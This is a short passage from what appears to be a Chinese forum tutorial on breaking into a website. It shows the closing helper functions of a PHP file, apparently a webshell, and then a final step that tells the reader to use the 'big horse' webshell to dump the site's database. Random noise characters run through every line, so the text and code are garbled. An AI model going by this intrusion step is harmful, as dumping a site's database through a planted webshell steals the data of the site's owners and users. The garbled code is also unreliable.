4 x$ V% B/ o* z8 ~+ V- c - 3 G" _9 U0 r/ [- {# q& S
- function formfoot(){
& C) `' S$ ~! @* K0 p' p8 L - p('</form>');: x& B) S; g0 P# K' u
- }$ a0 b( o+ ~! u# l
-
6 K7 ]) q. y8 N% x - // 调试函数
2 V1 D+ w. J: |3 h+ v8 m - function pr($a) {. t' }* z7 C' K9 T
- echo '<pre>';
% c ?5 G1 `6 y% x2 n0 I$ z; D+ B - print_r($a);
% S* v( B: _2 z! [3 G# O - echo '</pre>';
" L- K8 ?; s; }6 H6 S4 y - }' @9 Z, ~3 E" E, X
-
1 B. @5 z3 v& C4 @9 D - ?>
复制代码11、最后通过大码对网站数据库进行脱库
6 I: l: U1 \" A ( V6 g- e4 k& a4 R [7 A
4 }9 N0 M4 I; {; [7 j) b! \! U
|